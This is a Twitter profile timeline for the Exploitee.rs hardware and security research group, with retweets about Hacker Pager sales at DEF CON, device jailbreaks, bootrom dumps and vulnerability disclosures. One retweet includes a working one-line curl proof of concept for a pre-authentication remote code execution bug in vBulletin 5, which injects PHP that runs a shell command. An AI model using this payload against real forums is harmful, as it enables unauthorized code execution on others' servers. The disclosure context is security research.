Hacking Everything since 2010 BTC:15mb6ER9gbujUXJABBd146W34FwWX2F1Lx
Worldwide
Joined January 2011
- Tweets512
- Following18
- Followers4K
- Likes58
Exploitee.rs retweeted
Hacker Pagers are on sale now at HackerPager.net for #DEFCON34 pickup!
Get yours today and pickup Friday or Saturday in the badgelife village.
Exploitee.rs retweeted
Looking to get your hands on a Hacker Pager?
We'll be restocking our online store at 7PM PDT tonight & again on Thursday (7PM PDT) for pickup at #DEFCON34
Last year we sold out in record time, don't miss out!
Join the Exploiteers discord for more info
discord.com/invite/uJ77fQT
Exploitee.rs retweeted
People keep asking if I'm back, & I haven't really had an answer, but yeah, I'm thinking I'm back!
We've got more stock, an upgraded hardware design & new software features for all of your off grid communication & hacking needs.
hackerpager.net
See you at #DEFCON34
Exploitee.rs retweeted
We have a limited edition black/green pager with a etched back plate showing the hackers smiley & a secret message.
We’re supporting the EFF with this one by giving it to the person who is willing to donate the largest amount to the EFF (in front of us).
@defcon #badgelife
Exploitee.rs retweeted
Another round of Hacker Pagers is going on sale today at 3pm (Vegas Time) for pickup at DEF CON 33 (the Badgelife Community area) only.
This may be your only chance to get the hottest badge at @defcon this year.
shop.exploitee.rs/shop/p/the…
#DEFCON33 #BadgeLife
Exploitee.rs retweeted
Hacker Pagers are officially on sale and will ship this Monday to arrive before hacker summer camp.
More will be for sale and pickup at DEF CON 33
Order now at:
shop.exploitee.rs/shop/p/the…
Exploitee.rs retweeted
Let's talk for a second about ORP, a project I started to provide automated analysis of public projects through custom bots on the Exploitee.rs discord server. 🤖
blog.exploitee.rs/2021/orp-t…
Exploitee.rs retweeted
Teddy Ruxpin hacking 🧸📚🎶🗣️🤖
shhh! the baby is asleep, which means the parents are up hacking baby toys...we're following/recreating the DEFCON 26 Teddy Ruxpin reverse-engineering talk youtube.com/watch?v=C7SIL_JN… by super-hacker team @zenofex and @Exploiteers to bring this now-no-longer-supported Teddy Ruxpin 2017 edition back to life and maybe create some custom content as well!
our first step? parse out the SNXROM file to replace the eye bitmap frames in a 'story file' using python and Pillow. we just replaced em all with this adafruit logo but you could use any 128x128 RGB drawings. now that we know that works, next we'll be poking at the audio32 format to try and decode/encode custom audio. our poking and prodding is over at github.com/ladyada/Adafruit_…
Exploitee.rs retweeted
Here's the promised blog post: blog.ammaraskar.com/roku-tv-…
Exploitee.rs retweeted
Presenting a root #jailbreak for most Roku TVs and some Roku set top boxes:
github.com/llamasoft/RootMyR…
We've been working hard on this one, so I'm glad to finally be able to share it! A big thank you to ammar2 and popeax from the @Exploiteers Discord.
#infosec
Exploitee.rs retweeted
For a few more details... this should work on most SmartCast sets (a few folks in our discord will be testing), and it was literally a single invalid certificate away from being a Javascript drive-by on network.... unless anyone has any tricks that aren't "use an old browser"?
Exploitee.rs retweeted
Finally got around to writing this up and making a pretty #exploit #POC (and bash instructions, of course)... but a tease for this week from the @Exploiteers
Exploitee.rs retweeted
Woot🎉, we finally got the @khadas_official VIM3L (AmLogic S905D3) bootrom dumped with the help of my fellow @Exploiteers and others on our discord server. This bootrom should be similar to the one used in the Google Sabrina / Chromecast TV (AmLogic S905D3G).
Exploitee.rs retweeted
Here are the cleaned up photos of the #GoogleTV “Sabrina”. It contains an Amlogic S905D3G which closely resembles the S905X3 (not S905X2 as originally reported in June). #GTVHacker
Caution, I had to destroy the case and possibly the device to get these photos.
Exploitee.rs retweeted
Not trying to "zenoflex" ⊹ᕦ(~ʟ~)ᕤ⊹ but it looks like the @SecurityNow podcast covered a bit about my vBulletin RCE vulnerability release (CVE-2020-17496).
What's your opinion on SecurityNow's take of the situation? youtu.be/F-ZLG9f8sc8?t=56m50…
Exploitee.rs retweeted
Today I released my research on vBulletin5 including a new pre-auth 0day RCE exploit
blog.exploitee.rs/2020/explo…
POC: curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'
Exploitee.rs retweeted
Hey Twitter, over the last week I brought back a project of mine involving scraping Google Play apps for different vulnerabilities. Today I'm going to dump open S3 buckets from roughly 8,000 of the top Android apps from the Google Play store.
Exploitee.rs retweeted
I'm happy to announce that my modules for CVE-2020-12720 (vBulletin 5.2.x -> 5.6.1 SQL Injection to remote code execution) are now merged into the @metasploit master branch 🎉. These two modules allow for exfil of database information as well as code exec. github.com/rapid7/metasploit…
Exploitee.rs retweeted
I'll have a write-up in a few days, but if you're curious on how the attacks work. The modules each have documentation in markdown. As always, we'll be doing misc research on our (@Exploiteers) Discord chat server. Come hang out discord.gg/uJ77fQT